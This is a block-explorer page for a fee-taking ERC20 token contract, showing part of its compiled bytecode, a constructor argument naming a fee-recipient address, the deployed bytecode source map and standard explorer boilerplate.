0000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612ad76021913960400191505060405180910390fd5b809150505b92915050565b600061292f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122f8565b905092915050565b600080831182906129e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156129a857808201518184015260208101905061298d565b50505050905090810190601f1680156129d55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816129ef57fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636574617820666565206d757374206265206c657373207468616e203130302070657263656e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820404ec10f94864c4fb0f876bb571d5b65f6997f9d330d28cdb6e5f43173d27a6e64736f6c63430005100032
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000abea70e445e0cde24e5952b6e343e24e44b78b78
-----Decoded View---------------
Arg [0] : _feeRecipient (address): 0xABEa70E445e0cde24e5952B6E343e24e44b78B78
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000abea70e445e0cde24e5952b6e343e24e44b78b78
Deployed Bytecode Sourcemap
11972:9391:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;11972:9391:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13508:84;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;13508:84:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14635:153;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;14635:153:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;13656:92;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15436:305;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;15436:305:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;12485:33;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13208:84;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;12335:22;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;16149:209;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;16149:209:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;12525:25;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;17213:119;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;17213:119:0;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;12420:25;;;:::i;:::-;;;;;;;;;;;;;;;;;;;20720:213;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;20720:213:0;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13810:111;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;13810:111:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;11226:140;;;:::i;:::-;;21231:129;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;21231:129:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;20941:175;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;20941:175:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;13057:84;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;10585:78;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;12197:48;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;12197:48:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;13357:88;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;13357:88:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16860:260;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;16860:260:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;14133:159;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;14133:159:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;12364:21;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;12364:21:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12452:26;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12392:19;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;12392:19:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21124:99;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;21124:99:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;14354:135;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;14354:135:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;14796:169;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;14796:169:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;11521:109;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;11521:109:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;12254:37;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;12254:37:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;13508:84;13546:13;13579:5;13572:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13508:84;:::o;14635:153::-;14702:4;14719:39;14728:12;:10;:12::i;:::-;14742:7;14751:6;14719:8;:39::i;:::-;14776:4;14769:11;;14635:153;;;;:::o;13656:92::-;13701:7;13728:12;;13721:19;;13656:92;:::o;15436:305::-;15526:4;15543:36;15553:6;15561:9;15572:6;15543:9;:36::i;:::-;15590:121;15599:6;15607:12;:10;:12::i;:::-;15621:89;15659:6;15621:89;;;;;;;;;;;;;;;;;:11;:19;15633:6;15621:19;;;;;;;;;;;;;;;:33;15641:12;:10;:12::i;:::-;15621:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;15590:8;:121::i;:::-;15729:4;15722:11;;15436:305;;;;;:::o;12485:33::-;;;;:::o;13208:84::-;13250:5;13275:9;;;;;;;;;;;13268:16;;13208:84;:::o;12335:22::-;;;;;;;;;;;;;:::o;16149:209::-;16228:4;16245:83;16254:12;:10;:12::i;:::-;16268:7;16277:50;16316:10;16277:11;:25;16289:12;:10;:12::i;:::-;16277:25;;;;;;;;;;;;;;;:34;16303:7;16277:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;16245:8;:83::i;:::-;16346:4;16339:11;;16149:209;;;;:::o;12525:25::-;;;;;;;;;;;;;:::o;17213:119::-;17258:4;17275:27;17281:12;:10;:12::i;:::-;17295:6;17275:5;:27::i;:::-;17320:4;17313:11;;17213:119;;;:::o;12420:25::-;;;;:::o;20720:213::-;10806:12;:10;:12::i;:::-;10796:22;;:6;;;;;;;;;;;:22;;;10788:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20809:5;20801:4;:13;;:31;;;;;20827:5;20818;:14;;20801:31;20793:82;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20895:4;20886:6;:13;;;;20920:5;20910:7;:15;;;;20720:213;;:::o;13810:111::-;13868:7;13895:9;:18;13905:7;13895:18;;;;;;;;;;;;;;;;13888:25;;13810:111;;;:::o;11226:140::-;10806:12;:10;:12::i;:::-;10796:22;;:6;;;;;;;;;;;:22;;;10788:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11325:1;11288:40;;11309:6;;;;;;;;;;;11288:40;;;;;;;;;;;;11356:1;11339:6;;:19;;;;;;;;;;;;;;;;;;11226:140::o;21231:129::-;10806:12;:10;:12::i;:::-;10796:22;;:6;;;;;;;;;;;:22;;;10788:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21329:16;:23;21346:5;21329:23;;;;;;;;;;;;;;;;;;;;;;;;;21328:24;21302:16;:23;21319:5;21302:23;;;;;;;;;;;;;;;;:50;;;;;;;;;;;;;;;;;;21231:129;:::o;20941:175::-;21027:10;;;;;;;;;;;21013:24;;:10;:24;;;21005:66;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21095:13;21082:10;;:26;;;;;;;;;;;;;;;;;;20941:175;:::o;13057:84::-;13099:7;13126;:5;:7::i;:::-;13119:14;;13057:84;:::o;10585:78::-;10622:7;10649:6;;;;;;;;;;;10642:13;;10585:78;:::o;12197:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;13357:88::-;13397:13;13430:7;13423:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13357:88;:::o;16860:260::-;16944:4;16961:129;16970:12;:10;:12::i;:::-;16984:7;16993:96;17032:15;16993:96;;;;;;;;;;;;;;;;;:11;:25;17005:12;:10;:12::i;:::-;16993:25;;;;;;;;;;;;;;;:34;17019:7;16993:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;16961:8;:129::i;:::-;17108:4;17101:11;;16860:260;;;;:::o;14133:159::-;14203:4;14220:42;14230:12;:10;:12::i;:::-;14244:9;14255:6;14220:9;:42::i;:::-;14280:4;14273:11;;14133:159;;;;:::o;12364:21::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;12452:26::-;;;;:::o;12392:19::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;21124:99::-;10806:12;:10;:12::i;:::-;10796:22;;:6;;;;;;;;;;;:22;;;10788:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21203:5;:12;21209:5;21203:12;;;;;;;;;;;;;;;;;;;;;;;;;21202:13;21187:5;:12;21193:5;21187:12;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;21124:99;:::o;14354:135::-;14427:7;14454:11;:18;14466:5;14454:18;;;;;;;;;;;;;;;:27;14473:7;14454:27;;;;;;;;;;;;;;;;14447:34;;14354:135;;;;:::o;14796:169::-;14886:4;10806:12;:10;:12::i;:::-;10796:22;;:6;;;;;;;;;;;:22;;;10788:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14903:32;14912:5;14919:7;14928:6;14903:8;:32::i;:::-;14953:4;14946:11;;14796:169;;;;;:::o;11521:109::-;10806:12;:10;:12::i;:::-;10796:22;;:6;;;;;;;;;;;:22;;;10788:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11594:28;11613:8;11594:18;:28::i;:::-;11521:109;:::o;12254:37::-;;;;;;;;;;;;;;;;;;;;;;:::o;3947:97::-;3991:15;4026:10;4019:17;;3947:97;:::o;19956:338::-;20067:1;20050:19;;:5;:19;;;;20042:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20148:1;20129:21;;:7;:21;;;;20121:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20232:6;20202:11;:18;20214:5;20202:18;;;;;;;;;;;;;;;:27;20221:7;20202:27;;;;;;;;;;;;;;;:36;;;;20270:7;20254:32;;20263:5;20254:32;;;20279:6;20254:32;;;;;;;;;;;;;;;;;;19956:338;;;:::o;17822:993::-;17938:1;17920:20;;:6;:20;;;;17912:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18022:1;18001:23;;:9;:23;;;;17993:71;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18077:11;18091:1;18077:15;;18107:5;:13;18113:6;18107:13;;;;;;;;;;;;;;;;;;;;;;;;;:45;;;;;18125:16;:27;18142:9;18125:27;;;;;;;;;;;;;;;;;;;;;;;;;18124:28;18107:45;18103:309;;;18210:20;18227:2;18210:12;;:16;;:20;;;;:::i;:::-;18200:6;18177:9;:20;18187:9;18177:20;;;;;;;;;;;;;;;;:29;:53;;18168:64;;;;;;18253:34;18276:10;;18253:18;18264:6;;18253;:10;;:18;;;;:::i;:::-;:22;;:34;;;;:::i;:::-;18247:40;;18103:309;;;18308:5;:16;18314:9;18308:16;;;;;;;;;;;;;;;;;;;;;;;;;:45;;;;;18329:16;:24;18346:6;18329:24;;;;;;;;;;;;;;;;;;;;;;;;;18328:25;18308:45;18304:108;;;18375:35;18399:10;;18375:19;18386:7;;18375:6;:10;;:19;;;;:::i;:::-;:23;;:35;;;;:::i;:::-;18369:41;;18304:108;18103:309;18442:71;18464:6;18442:71;;;;;;;;;;;;;;;;;:9;:17;18452:6;18442:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;18422:9;:17;18432:6;18422:17;;;;;;;;;;;;;;;:91;;;;18549:41;18586:3;18549:32;18574:6;18549:9;:20;18559:9;18549:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;:36;;:41;;;;:::i;:::-;18526:9;:20;18536:9;18526:20;;;;;;;;;;;;;;;:64;;;;18623:9;18606:44;;18615:6;18606:44;;;18634:15;18645:3;18634:6;:10;;:15;;;;:::i;:::-;18606:44;;;;;;;;;;;;;;;;;;18671:1;18665:3;:7;18661:147;;;18713:30;18739:3;18713:9;:21;18723:10;;;;;;;;;;;18713:21;;;;;;;;;;;;;;;;:25;;:30;;;;:::i;:::-;18689:9;:21;18699:10;;;;;;;;;;;18689:21;;;;;;;;;;;;;;;:54;;;;18780:10;;;;;;;;;;;18763:33;;18772:6;18763:33;;;18792:3;18763:33;;;;;;;;;;;;;;;;;;18661:147;17822:993;;;;:::o;6000:191::-;6085:7;6118:1;6113;:6;;6121:12;6105:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;6105:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6145:9;6161:1;6157;:5;6145:17;;6182:1;6175:8;;;6000:191;;;;;:::o;5115:180::-;5172:7;5192:9;5208:1;5204;:5;5192:17;;5233:1;5228;:6;;5220:46;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5286:1;5279:8;;;5115:180;;;;:::o;19147:369::-;19242:1;19223:21;;:7;:21;;;;19215:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19316:68;19339:6;19316:68;;;;;;;;;;;;;;;;;:9;:18;19326:7;19316:18;;;;;;;;;;;;;;;;:22;;:68;;;;;:::i;:::-;19295:9;:18;19305:7;19295:18;;;;;;;;;;;;;;;:89;;;;19420:34;19447:6;19420:9;:22;19430:11;;;;;;;;;;;19420:22;;;;;;;;;;;;;;;;:26;;:34;;;;:::i;:::-;19395:9;:22;19405:11;;;;;;;;;;;19395:22;;;;;;;;;;;;;;;:59;;;;19488:11;;;;;;;;;;;19470:38;;19479:7;19470:38;;;19501:6;19470:38;;;;;;;;;;;;;;;;;;19147:369;;:::o;11736:229::-;11830:1;11810:22;;:8;:22;;;;11802:73;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11920:8;11891:38;;11912:6;;;;;;;;;;;11891:38;;;;;;;;;;;;11949:8;11940:6;;:17;;;;;;;;;;;;;;;;;;11736:229;:::o;7380:131::-;7437:7;7464:39;7468:1;7471;7464:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;7457:46;;7380:131;;;;:::o;6442:470::-;6499:7;6749:1;6744;:6;6740:47;;;6774:1;6767:8;;;;6740:47;6799:9;6815:1;6811;:5;6799:17;;6844:1;6839;6835;:5;;;;;;:10;6827:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6903:1;6896:8;;;6442:470;;;;;:::o;5570:135::-;5627:7;5654:43;5658:1;5661;5654:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;5647:50;;5570:135;;;;:::o;7999:344::-;8084:7;8183:1;8179;:5;8186:12;8171:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;8171:28:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8210:9;8226:1;8222;:5;;;;;;8210:17;;8334:1;8327:8;;;7999:344;;;;;:::o
Swarm Source
bzzr://404ec10f94864c4fb0f876bb571d5b65f6997f9d330d28cdb6e5f43173d27a6e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.